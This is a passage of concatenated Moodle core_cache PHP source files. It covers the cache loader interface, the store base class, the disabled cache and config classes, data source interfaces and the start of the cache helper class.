keys. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache * store does support it, but you should be aware of this fact. * * @param array $keys The keys of the data being requested. * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @return array An array of key value pairs for the items that could be retrieved from the cache. * If MUST_EXIST was used and not all keys existed within the cache then an exception will be thrown. * Otherwise any key that did not exist will have a data value of false within the results. */ public function get_many(array $keys, $strictness = IGNORE_MISSING); /** * Sends a key => value pair to the cache. * * * // This code will add four entries to the cache, one for each url. * $cache->set('main', 'http://moodle.org'); * $cache->set('docs', 'http://docs.moodle.org'); * $cache->set('tracker', 'http://tracker.moodle.org'); * $cache->set('qa', 'http://qa.moodle.net'); * * * @param string|int $key The key for the data being requested. * @param mixed $data The data to set against the key. * @return bool True on success, false otherwise. */ public function set($key, $data); /** * Sets the value for the given key with the given version. * * The cache does not store multiple versions - any existing version will be overwritten with * this one. This function should only be used if there is a known 'current version' (e.g. * stored in a database table). It only ensures that the cache does not return outdated data. * * This function can be used to help implement localisable caches (where the cache could be * stored on a local server as well as a shared cache). The version will be recorded alongside * the item and get_versioned will always return the correct version. * * The version number must be an integer that always increases. This could be based on the * current time, or a stored value that increases by 1 each time it changes, etc. * * If you use this function you must use get_versioned to retrieve the data. * * @param string|int $key The key for the data being set. * @param int $version Integer for the version of the data * @param mixed $data The data to set against the key. * @return bool True on success, false otherwise. */ public function set_versioned($key, int $version, $data): bool; /** * Sends several key => value pairs to the cache. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * * // This code will add four entries to the cache, one for each url. * $cache->set_many(array( * 'main' => 'http://moodle.org', * 'docs' => 'http://docs.moodle.org', * 'tracker' => 'http://tracker.moodle.org', * 'qa' => ''http://qa.moodle.net' * )); * * * @param array $keyvaluearray An array of key => value pairs to send to the cache. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items. * ... if they care that is. */ public function set_many(array $keyvaluearray); /** * Test is a cache has a key. * * The use of the has methods is strongly discouraged. In a high load environment the cache may well change between the * test and any subsequent action (get, set, delete etc). * Instead it is recommended to write your code in such a way they it performs the following steps: *
    *
  1. Attempt to retrieve the information.
  2. *
  3. Generate the information.
  4. *
  5. Attempt to set the information
  6. *
* * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param string|int $key * @return bool True if the cache has the requested key, false otherwise. */ public function has($key); /** * Test if a cache has at least one of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has at least one of the given keys */ public function has_any(array $keys); /** * Test is a cache has all of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has all of the given keys, false otherwise. */ public function has_all(array $keys); /** * Delete the given key from the cache. * * @param string|int $key The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return bool True of success, false otherwise. */ public function delete($key, $recurse = true); /** * Delete all of the given keys from the cache. * * @param array $keys The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return int The number of items successfully deleted. */ public function delete_many(array $keys, $recurse = true); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(loader_interface::class, \cache_loader::class); classes/exception/cache_exception.php000064400000003445152265337610014051 0ustar00. namespace core_cache\exception; use core\exception\moodle_exception; /** * A cache exception class. Just allows people to catch cache exceptions. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_exception extends moodle_exception { /** * Constructs a new exception * * @param string $errorcode * @param string $module * @param string $link * @param mixed $a * @param mixed $debuginfo */ public function __construct($errorcode, $module = 'cache', $link = '', $a = null, $debuginfo = null) { // This may appear like a useless override but you will notice that we have set a MUCH more useful default for $module. parent::__construct($errorcode, $module, $link, $a, $debuginfo); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_exception::class, \cache_exception::class); classes/cacheable_object_array.php000064400000007047152265337610013347 0ustar00. namespace core_cache; use core\exception\coding_exception; use ArrayObject; /** * An array of cacheable objects. * * This class allows a developer to create an array of cacheable objects and store that. * The cache API doesn't check items within an array to see whether they are cacheable. Such a check would be very costly to both * arrays using cacheable object and those that don't. * Instead the developer must explicitly use a cacheable_object_array instance. * * The following is one example of how this class can be used. * * $data = array(); * $data[] = new cacheable_object('one'); * $data[] = new cacheable_object('two'); * $data[] = new cacheable_object('three'); * $cache->set(new cacheable_object_array($data)); * * Another example would be * * $data = new cacheable_object_array(); * $data[] = new cacheable_object('one'); * $data[] = new cacheable_object('two'); * $data[] = new cacheable_object('three'); * $cache->set($data); * * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core_cache */ class cacheable_object_array extends ArrayObject implements cacheable_object_interface { /** * Constructs a new array object instance. * @param array $items */ final public function __construct(array $items = []) { parent::__construct($items, ArrayObject::STD_PROP_LIST); } /** * Returns the data to cache for this object. * * @return cached_object[] An array of cached_object instances. * @throws coding_exception */ final public function prepare_to_cache() { $result = []; foreach ($this as $key => $value) { if ($value instanceof cacheable_object_interface) { $value = new cached_object($value); } else { throw new coding_exception('Only cacheable_object instances can be added to a cacheable_array'); } $result[$key] = $value; } return $result; } /** * Returns the cacheable_object_array that was originally sent to the cache. * * @param array $data * @return self * @throws coding_exception */ final public static function wake_from_cache($data) { if (!is_array($data)) { throw new coding_exception('Invalid data type when reviving cacheable_array data'); } $result = []; foreach ($data as $key => $value) { $result[$key] = $value->restore_object(); } $class = __CLASS__; return new $class($result); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cacheable_object_array::class, \cacheable_object_array::class); classes/lockable_cache_interface.php000064400000005466152265337610013656 0ustar00. namespace core_cache; /** * Cache store feature: locking. * * This is a feature that cache stores can implement if they wish to support locking themselves rather * than having the cache loader handle it for them. * * Can be implemented by classes already implementing store. * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface lockable_cache_interface { /** * Acquires a lock on the given key for the given identifier. * * @param string $key The key we are locking. * @param string $ownerid The identifier so we can check if we have the lock or if it is someone else. * The use of this property is entirely optional and implementations can act as they like upon it. * @return bool True if the lock could be acquired, false otherwise. */ public function acquire_lock($key, $ownerid); /** * Test if there is already a lock for the given key and if there is whether it belongs to the calling code. * * @param string $key The key we are locking. * @param string $ownerid The identifier so we can check if we have the lock or if it is someone else. * @return bool True if this code has the lock, false if there is a lock but this code doesn't have it, null if there * is no lock. */ public function check_lock_state($key, $ownerid); /** * Releases the lock on the given key. * * @param string $key The key we are locking. * @param string $ownerid The identifier so we can check if we have the lock or if it is someone else. * The use of this property is entirely optional and implementations can act as they like upon it. * @return bool True if the lock has been released, false if there was a problem releasing the lock. */ public function release_lock($key, $ownerid); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(lockable_cache_interface::class, \cache_is_lockable::class); classes/store.php000064400000037011152265337610010062 0ustar00. namespace core_cache; use core\exception\coding_exception; use stdClass; /** * Abstract cache store class. * * All cache store plugins must extend this base class. * It lays down the foundation for what is required of a cache store plugin. * * @since Moodle 2.4 * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class store implements store_interface { // Constants for features a cache store can support /** * Supports multi-part keys */ const SUPPORTS_MULTIPLE_IDENTIFIERS = 1; /** * Ensures data remains in the cache once set. */ const SUPPORTS_DATA_GUARANTEE = 2; /** * Supports a native ttl system. */ const SUPPORTS_NATIVE_TTL = 4; /** * The cache is searchable by key. */ const IS_SEARCHABLE = 8; /** * The cache store dereferences objects. * * When set, loaders will assume that all data coming from this store has already had all references * resolved. So even for complex object structures it will not try to remove references again. */ const DEREFERENCES_OBJECTS = 16; // Constants for the modes of a cache store /** * Application caches. These are shared caches. */ const MODE_APPLICATION = 1; /** * Session caches. Just access to the PHP session. */ const MODE_SESSION = 2; /** * Request caches. Static caches really. */ const MODE_REQUEST = 4; /** * Static caches. */ const STATIC_ACCEL = '** static accel. **'; /** * Returned from get_last_io_bytes if this cache store doesn't support counting bytes read/sent. */ const IO_BYTES_NOT_SUPPORTED = -1; /** * Constructs an instance of the cache store. * * The constructor should be responsible for creating anything needed by the store that is not * specific to a definition. * Tasks such as opening a connection to check it is available are best done here. * Tasks that are definition specific such as creating a storage area for the definition data * or creating key tables and indexs are best done within the initialise method. * * Once a store has been constructed the cache API will check it is ready to be intialised with * a definition by called $this->is_ready(). * If the setup of the store failed (connection could not be established for example) then * that method should return false so that the store instance is not selected for use. * * @param string $name The name of the cache store * @param array $configuration The configuration for this store instance. */ abstract public function __construct($name, array $configuration = []); /** * Returns the name of this store instance. * @return string */ abstract public function my_name(); /** * Initialises a new instance of the cache store given the definition the instance is to be used for. * * This function should be used to run any definition specific setup the store instance requires. * Tasks such as creating storage areas, or creating indexes are best done here. * * Its important to note that the initialise method is expected to always succeed. * If there are setup tasks that may fail they should be done within the __construct method * and should they fail is_ready should return false. * * @param definition $definition */ abstract public function initialise(definition $definition); /** * Returns true if this cache store instance has been initialised. * @return bool */ abstract public function is_initialised(); /** * Returns true if this cache store instance is ready to use. * @return bool */ public function is_ready() { return forward_static_call([$this, 'are_requirements_met']); } /** * Retrieves an item from the cache store given its key. * * @param string $key The key to retrieve * @return mixed The data that was associated with the key, or false if the key did not exist. */ abstract public function get($key); /** * Retrieves several items from the cache store in a single transaction. * * If not all of the items are available in the cache then the data value for those that are missing will be set to false. * * @param array $keys The array of keys to retrieve * @return array An array of items from the cache. There will be an item for each key, those that were not in the store will * be set to false. */ abstract public function get_many($keys); /** * Sets an item in the cache given its key and data value. * * @param string $key The key to use. * @param mixed $data The data to set. * @return bool True if the operation was a success false otherwise. */ abstract public function set($key, $data); /** * Sets many items in the cache in a single transaction. * * @param array $keyvaluearray An array of key value pairs. Each item in the array will be an associative array with two * keys, 'key' and 'value'. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items * sent ... if they care that is. */ abstract public function set_many(array $keyvaluearray); /** * Deletes an item from the cache store. * * @param string $key The key to delete. * @return bool Returns true if the operation was a success, false otherwise. */ abstract public function delete($key); /** * Deletes several keys from the cache in a single action. * * @param array $keys The keys to delete * @return int The number of items successfully deleted. */ abstract public function delete_many(array $keys); /** * Purges the cache deleting all items within it. * * @return boolean True on success. False otherwise. */ abstract public function purge(); /** * Performs any necessary operation when the store instance has been created. * * @since Moodle 2.5 */ public function instance_created() { // By default, do nothing. } /** * Performs any necessary operation when the store instance is being deleted. * * This method may be called before the store has been initialised. * * @since Moodle 2.5 * @see cleanup() */ public function instance_deleted() { if (method_exists($this, 'cleanup')) { // There used to be a legacy function called cleanup, it was renamed to instance delete. // To be removed in 2.6. $this->cleanup(); } } /** * Returns true if the user can add an instance of the store plugin. * * @return bool */ public static function can_add_instance() { return true; } /** * Returns true if the store instance guarantees data. * * @return bool */ public function supports_data_guarantee() { return $this::get_supported_features() & self::SUPPORTS_DATA_GUARANTEE; } /** * Returns true if the store instance supports multiple identifiers. * * @return bool */ public function supports_multiple_identifiers() { return $this::get_supported_features() & self::SUPPORTS_MULTIPLE_IDENTIFIERS; } /** * Returns true if the store instance supports native ttl. * * @return bool */ public function supports_native_ttl() { return $this::get_supported_features() & self::SUPPORTS_NATIVE_TTL; } /** * Returns true if the store instance is searchable. * * @return bool */ public function is_searchable() { return ($this instanceof searchable_cache_interface); } /** * Returns true if the store automatically dereferences objects. * * @return bool */ public function supports_dereferencing_objects() { return $this::get_supported_features() & self::DEREFERENCES_OBJECTS; } /** * Creates a clone of this store instance ready to be initialised. * * This method is used so that a cache store needs only be constructed once. * Future requests for an instance of the store will be given a cloned instance. * * If you are writing a cache store that isn't compatible with the clone operation * you can override this method to handle any situations you want before cloning. * * @param array $details An array containing the details of the store from the cache config. * @return store */ public function create_clone(array $details = []) { // By default we just run clone. // Any stores that have an issue with this will need to override the create_clone method. return clone($this); } /** * Can be overridden to return any warnings this store instance should make to the admin. * * This should be used to notify things like configuration conflicts etc. * The warnings returned here will be displayed on the cache configuration screen. * * @return string[] An array of warning strings from the store instance. */ public function get_warnings() { return []; } /** * Estimates the storage size used within this cache if the given value is stored with the * given key. * * This function is not exactly accurate; it does not necessarily take into account all the * overheads involved. It is only intended to give a good idea of the relative size of * different caches. * * The default implementation serializes both key and value and sums the lengths (as a rough * estimate which is probably good enough for everything unless the cache offers compression). * * @param mixed $key Key * @param mixed $value Value * @return int Size in bytes */ public function estimate_stored_size($key, $value): int { return strlen(serialize($key)) + strlen(serialize($value)); } /** * Gets the amount of memory/storage currently used by this cache store if known. * * This value should be obtained quickly from the store itself, if available. * * This is the total memory usage of the entire store, not for ther specific cache in question. * * Where not supported (default), will always return null. * * @return int|null Amount of memory used in bytes or null */ public function store_total_size(): ?int { return null; } /** * Gets the amount of memory used by this specific cache within the store, if known. * * This function may be slow and should not be called in normal usage, only for administration * pages. The value is usually an estimate, and may not be available at all. * * When estimating, a number of sample items will be used for the estimate. If set to 50 * (default), then this function will retrieve 50 random items and use that to estimate the * total size. * * The return value has the following fields: * - supported (true if any other values are completed) * - items (number of items) * - mean (mean size of one item in bytes) * - sd (standard deviation of item size in bytes, based on sample) * - margin (95% confidence margin for mean - will be 0 if exactly computed) * * @param int $samplekeys Number of samples to use * @return stdClass Object with information about the store size */ public function cache_size_details(int $samplekeys = 50): stdClass { $result = (object)[ 'supported' => false, 'items' => 0, 'mean' => 0, 'sd' => 0, 'margin' => 0, ]; // If this cache isn't searchable, we don't know the answer. if (!$this->is_searchable()) { return $result; } $result->supported = true; // Get all the keys for the cache. $keys = $this->find_all(); $result->items = count($keys); // Don't do anything else if there are no items. if ($result->items === 0) { return $result; } // Select N random keys. $exact = false; if ($result->items <= $samplekeys) { $samples = $keys; $exact = true; } else { $indexes = array_rand($keys, $samplekeys); $samples = []; foreach ($indexes as $index) { $samples[] = $keys[$index]; } } // Get the random items from cache and estimate the size of each. $sizes = []; foreach ($samples as $samplekey) { $value = $this->get($samplekey); $sizes[] = $this->estimate_stored_size($samplekey, $value); } $number = count($sizes); // Calculate the mean and standard deviation. $result->mean = array_sum($sizes) / $number; $squarediff = 0; foreach ($sizes as $size) { $squarediff += ($size - $result->mean) ** 2; } $squarediff /= $number; $result->sd = sqrt($squarediff); // If it's not exact, also calculate the confidence interval. if (!$exact) { // 95% confidence has a Z value of 1.96. $result->margin = (1.96 * $result->sd) / sqrt($number); } return $result; } /** * Returns true if this cache store instance is both suitable for testing, and ready for testing. * * Cache stores that support being used as the default store for unit and acceptance testing should * override this function and return true if there requirements have been met. * * @return bool */ public static function ready_to_be_used_for_testing() { return false; } /** * Gets the number of bytes read from or written to cache as a result of the last action. * * This includes calls to the functions get(), get_many(), set(), and set_many(). The number * is reset by calling any of these functions. * * This should be the actual number of bytes of the value read from or written to cache, * giving an impression of the network or other load. It will not be exactly the same amount * as netowrk traffic because of protocol overhead, key text, etc. * * If not supported, returns IO_BYTES_NOT_SUPPORTED. * * @return int Bytes read (or 0 if none/not supported) * @since Moodle 4.0 */ public function get_last_io_bytes(): int { return self::IO_BYTES_NOT_SUPPORTED; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(store::class, \cache_store::class); classes/version_wrapper.php000064400000002557152265337610012162 0ustar00. namespace core_cache; /** * Class wrapping information in the cache that is tagged with a version number. * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class version_wrapper { /** * The data being stored. * @var mixed */ public $data; /** * Version number for the data * @var int */ public $version; /** * Constructs a version tag wrapper. * * @param mixed $data * @param int $version Version number */ public function __construct($data, int $version) { $this->data = $data; $this->version = $version; } } classes/disabled_cache.php000064400000014266152265337610011627 0ustar00. namespace core_cache; use core\exception\coding_exception; /** * The cache loader class used when the Cache has been disabled. * * @package core_cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class disabled_cache extends cache implements loader_with_locking_interface { /** * Constructs the cache. * * @param definition $definition * @param store $store * @param null $loader Unused. */ public function __construct(definition $definition, store $store, $loader = null) { if ($loader instanceof data_source_interface) { // Set the data source to allow data sources to work when caching is entirely disabled. $this->set_data_source($loader); } // No other features are handled. } /** * Gets a key from the cache. * * @param int|string $key * @param int $requiredversion Minimum required version of the data or cache::VERSION_NONE * @param int $strictness Unused. * @param mixed &$actualversion If specified, will be set to the actual version number retrieved * @return bool */ protected function get_implementation($key, int $requiredversion, int $strictness, &$actualversion = null) { $datasource = $this->get_datasource(); if ($datasource !== false) { if ($requiredversion === cache::VERSION_NONE) { return $datasource->load_for_cache($key); } else { if (!$datasource instanceof versionable_data_source_interface) { throw new coding_exception('Data source is not versionable'); } $result = $datasource->load_for_cache_versioned($key, $requiredversion, $actualversion); if ($result && $actualversion < $requiredversion) { throw new coding_exception('Data source returned outdated version'); } return $result; } } return false; } /** * Gets many keys at once from the cache. * * @param array $keys * @param int $strictness Unused. * @return array */ public function get_many(array $keys, $strictness = IGNORE_MISSING) { if ($this->get_datasource() !== false) { return $this->get_datasource()->load_many_for_cache($keys); } return array_combine($keys, array_fill(0, count($keys), false)); } /** * Sets a key value pair in the cache. * * @param int|string $key Unused. * @param int $version Unused. * @param mixed $data Unused. * @param bool $setparents Unused. * @return bool */ protected function set_implementation($key, int $version, $data, bool $setparents = true): bool { return false; } /** * Sets many key value pairs in the cache at once. * * @param array $keyvaluearray Unused. * @return int */ public function set_many(array $keyvaluearray) { return 0; } /** * Deletes an item from the cache. * * @param int|string $key Unused. * @param bool $recurse Unused. * @return bool */ public function delete($key, $recurse = true) { return false; } /** * Deletes many items at once from the cache. * * @param array $keys Unused. * @param bool $recurse Unused. * @return int */ public function delete_many(array $keys, $recurse = true) { return 0; } /** * Checks if the cache has the requested key. * * @param int|string $key Unused. * @param bool $tryloadifpossible Unused. * @return bool */ public function has($key, $tryloadifpossible = false) { $result = $this->get($key); return $result !== false; } /** * Checks if the cache has all of the requested keys. * @param array $keys Unused. * @return bool */ public function has_all(array $keys) { if (!$this->get_datasource()) { return false; } foreach ($keys as $key) { if (!$this->has($key)) { return false; } } return true; } /** * Checks if the cache has any of the requested keys. * * @param array $keys Unused. * @return bool */ public function has_any(array $keys) { foreach ($keys as $key) { if ($this->has($key)) { return true; } } return false; } /** * Purges all items from the cache. * * @return bool */ public function purge() { return true; } /** * Pretend that we got a lock to avoid errors. * * @param int|string $key * @return bool */ public function acquire_lock($key): bool { return true; } /** * Pretend that we released a lock to avoid errors. * * @param int|string $key * @return bool */ public function release_lock($key): bool { return true; } /** * Pretend that we have a lock to avoid errors. * * @param int|string $key * @return bool */ public function check_lock_state($key): bool { return true; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(disabled_cache::class, \cache_disabled::class); classes/disabled_config.php000064400000015322152265337610012023 0ustar00. namespace core_cache; use core\exception\coding_exception; use core_cache\exception\cache_exception; use cachestore_static; use cachestore_session; use cachestore_file; /** * The cache config class used when the Cache has been disabled. * * @package core_cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class disabled_config extends config_writer { /** * Returns an instance of the configuration writer. * * @return disabled_config */ public static function instance() { $factory = factory::instance(); return $factory->create_config_instance(true); } /** * Saves the current configuration. */ protected function config_save() { // Nothing to do here. } /** * Generates a configuration array suitable to be written to the config file. * * @return array */ protected function generate_configuration_array() { $configuration = []; $configuration['stores'] = $this->configstores; $configuration['modemappings'] = $this->configmodemappings; $configuration['definitions'] = $this->configdefinitions; $configuration['definitionmappings'] = $this->configdefinitionmappings; $configuration['locks'] = $this->configlocks; return $configuration; } /** * Adds a plugin instance. * * @param string $name Unused. * @param string $plugin Unused. * @param array $configuration Unused. * @return bool * @throws cache_exception */ public function add_store_instance($name, $plugin, array $configuration = []) { return false; } /** * Sets the mode mappings. * * @param array $modemappings Unused. * @return bool * @throws cache_exception */ public function set_mode_mappings(array $modemappings) { return false; } /** * Edits a give plugin instance. * * @param string $name Unused. * @param string $plugin Unused. * @param array $configuration Unused. * @return bool * @throws cache_exception */ public function edit_store_instance($name, $plugin, $configuration) { return false; } /** * Deletes a store instance. * * @param string $name Unused. * @return bool * @throws cache_exception */ public function delete_store_instance($name) { return false; } /** * Creates the default configuration and saves it. * * @param bool $forcesave Ignored because we are disabled! * @return array */ public static function create_default_configuration($forcesave = false) { global $CFG; // HACK ALERT. // We probably need to come up with a better way to create the default stores, or at least ensure 100% that the // default store plugins are protected from deletion. require_once($CFG->dirroot . '/cache/stores/file/lib.php'); require_once($CFG->dirroot . '/cache/stores/session/lib.php'); require_once($CFG->dirroot . '/cache/stores/static/lib.php'); $writer = new self(); $writer->configstores = [ 'default_application' => [ 'name' => 'default_application', 'plugin' => 'file', 'configuration' => [], 'features' => cachestore_file::get_supported_features(), 'modes' => store::MODE_APPLICATION, 'default' => true, ], 'default_session' => [ 'name' => 'default_session', 'plugin' => 'session', 'configuration' => [], 'features' => cachestore_session::get_supported_features(), 'modes' => store::MODE_SESSION, 'default' => true, ], 'default_request' => [ 'name' => 'default_request', 'plugin' => 'static', 'configuration' => [], 'features' => cachestore_static::get_supported_features(), 'modes' => store::MODE_REQUEST, 'default' => true, ], ]; $writer->configdefinitions = []; $writer->configmodemappings = [ [ 'mode' => store::MODE_APPLICATION, 'store' => 'default_application', 'sort' => -1, ], [ 'mode' => store::MODE_SESSION, 'store' => 'default_session', 'sort' => -1, ], [ 'mode' => store::MODE_REQUEST, 'store' => 'default_request', 'sort' => -1, ], ]; $writer->configlocks = [ 'default_file_lock' => [ 'name' => 'cachelock_file_default', 'type' => 'cachelock_file', 'dir' => 'filelocks', 'default' => true, ], ]; return $writer->generate_configuration_array(); } /** * Updates the definition in the configuration from those found in the cache files. * * @param bool $coreonly Unused. */ public static function update_definitions($coreonly = false) { // Nothing to do here. } /** * Locates all of the definition files. * * @param bool $coreonly Unused. * @return array */ protected static function locate_definitions($coreonly = false) { return []; } /** * Sets the mappings for a given definition. * * @param string $definition Unused. * @param array $mappings Unused. * @throws coding_exception */ public function set_definition_mappings($definition, $mappings) { // Nothing to do here. } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(disabled_config::class, \cache_config_disabled::class); classes/data_source_interface.php000064400000005113152265337610013235 0ustar00. namespace core_cache; /** * Cache Data Source. * * The cache data source interface can be implemented by any class within Moodle. * If implemented then the class can be reference in a cache definition and will be used to load information that cannot be * retrieved from the cache. As part of its retrieval that information will also be loaded into the cache. * * This allows developers to created a complete cache solution that can be used through code ensuring consistent cache * interaction and loading. Allowing them in turn to centralise code and help keeps things more easily maintainable. * * Can be implemented by any class. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface data_source_interface { /** * Returns an instance of the data source class that the cache can use for loading data using the other methods * specified by this interface. * * @param definition $definition * @return object */ public static function get_instance_for_cache(definition $definition); /** * Loads the data for the key provided ready formatted for caching. * * @param string|int $key The key to load. * @return mixed What ever data should be returned, or false if it can't be loaded. */ public function load_for_cache($key); /** * Loads several keys for the cache. * * @param array $keys An array of keys each of which will be string|int. * @return array An array of matching data items. */ public function load_many_for_cache(array $keys); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(data_source_interface::class, \cache_data_source::class); classes/searchable_cache_interface.php000064400000003200152265337610014153 0ustar00. namespace core_cache; /** * Cache store feature: keys are searchable. * * Cache stores can choose to implement this interface. * In order for a store to be usable as a session cache it must implement this interface. * * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface searchable_cache_interface { /** * Finds all of the keys being used by the cache store. * * @return array. */ public function find_all(); /** * Finds all of the keys whose keys start with the given prefix. * * @param string $prefix */ public function find_by_prefix($prefix); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(searchable_cache_interface::class, \cache_is_searchable::class); classes/helper.php000064400000110571152265337610010210 0ustar00. namespace core_cache; use core\lang_string; use core\exception\coding_exception; use DirectoryIterator; /** * The cache helper class. * * The cache helper class provides common functionality to the cache API and is useful to developers within to interact with * the cache API in a general way. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class helper { /** * Statistics gathered by the cache API during its operation will be used here. * @static * @var array */ protected static $stats = []; /** * The instance of the cache helper. * @var self */ protected static $instance; /** * The site identifier used by the cache. * Set the first time get_site_identifier is called. * @var string */ protected static $siteidentifier = null; /** * Returns true if the cache API can be initialised before Moodle has finished initialising itself. * * This check is essential when trying to cache the likes of configuration information. It checks to make sure that the cache * configuration file has been created which allows use to set up caching when ever is required. * * @return bool */ public static function ready_for_early_init() { return config::config_file_exists(); } /** * Returns an instance of the helper. * * This is designed for internal use only and acts as a static store. * @staticvar null $instance * @return self */ protected static function instance() { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * Constructs an instance of the helper class. Again for internal use only. */ protected function __construct() { // Nothing to do here, just making sure you can't get an instance of this. } /** * Used as a data store for initialised definitions. * @var array */ protected $definitions = []; /** * Used as a data store for initialised cache stores * We use this because we want to avoid establishing multiple instances of a single store. * @var array */ protected $stores = []; /** * Returns the class for use as a cache loader for the given mode. * * @param int $mode One of store::MODE_ * @return string * @throws coding_exception */ public static function get_class_for_mode($mode) { switch ($mode) { case store::MODE_APPLICATION: return application_cache::class; case store::MODE_REQUEST: return request_cache::class; case store::MODE_SESSION: return session_cache::class; } throw new coding_exception('Unknown cache mode passed. Must be one of store::MODE_*'); } /** * Returns the cache stores to be used with the given definition. * @param definition $definition * @return array */ public static function get_cache_stores(definition $definition) { $instance = config::instance(); $stores = $instance->get_stores_for_definition($definition); $stores = self::initialise_cachestore_instances($stores, $definition); return $stores; } /** * Internal function for initialising an array of stores against a given cache definition. * * @param array $stores * @param definition $definition * @return store[] */ protected static function initialise_cachestore_instances(array $stores, definition $definition) { $return = []; $factory = factory::instance(); foreach ($stores as $name => $details) { $store = $factory->create_store_from_config($name, $details, $definition); if ($store !== false) { $return[] = $store; } } return $return; } /** * Returns a locakable_cache_interface instance suitable for use with the store. * * @param store $store * @return lockable_cache_interface */ public static function get_cachelock_for_store(store $store) { $instance = config::instance(); $lockconf = $instance->get_lock_for_store($store->my_name()); $factory = factory::instance(); return $factory->create_lock_instance($lockconf); } /** * Returns an array of plugins without using core methods. * * This function explicitly does NOT use core functions as it will in some circumstances be called before Moodle has * finished initialising. This happens when loading configuration for instance. * * @return array */ public static function early_get_cache_plugins() { global $CFG; $result = []; $ignored = ['CVS', '_vti_cnf', 'simpletest', 'db', 'yui', 'tests']; $fulldir = $CFG->dirroot . '/cache/stores'; $items = new DirectoryIterator($fulldir); foreach ($items as $item) { if ($item->isDot() or !$item->isDir()) { continue; } $pluginname = $item->getFilename(); if (in_array($pluginname, $ignored)) { continue; } if (!is_valid_plugin_name($pluginname)) { // Better ignore plugins with problematic names here. continue; } $result[$pluginname] = $fulldir . '/' . $pluginname; unset($item); } unset($items); return $result; } /** * Invalidates a given set of keys from a given definition. * * @todo Invalidating by definition should also add to the event cache so that sessions can be invalidated (when required). * * @param string $component * @param string $area * @param array $identifiers * @param array|string|int $keys * @return boolean * @throws coding_exception */ public static function invalidate_by_definition($component, $area, array $identifiers = [], $keys = []) { $cache = cache::make($component, $area, $identifiers); if (is_array($keys)) { $cache->delete_many($keys); } else if (is_scalar($keys)) { $cache->delete($keys); } else { throw new coding_exception('helper::invalidate_by_definition only accepts $keys as array, or scalar.'); } return true; } /** * Invalidates a given set of keys by means of an event. * * Events cannot determine what identifiers might need to be cleared. Event based purge and invalidation * are only supported on caches without identifiers. * * @param string $event * @param array $keys */ public static function invalidate_by_event($event, array $keys) { $instance = config::instance(); $invalidationeventset = false; $factory = factory::instance(); $inuse = $factory->get_caches_in_use(); $purgetoken = null; foreach ($instance->get_definitions() as $name => $definitionarr) { $definition = definition::load($name, $definitionarr); if ($definition->invalidates_on_event($event)) { // First up check if there is a cache loader for this definition already. // If there is we need to invalidate the keys from there. $definitionkey = $definition->get_component() . '/' . $definition->get_area(); if (isset($inuse[$definitionkey])) { 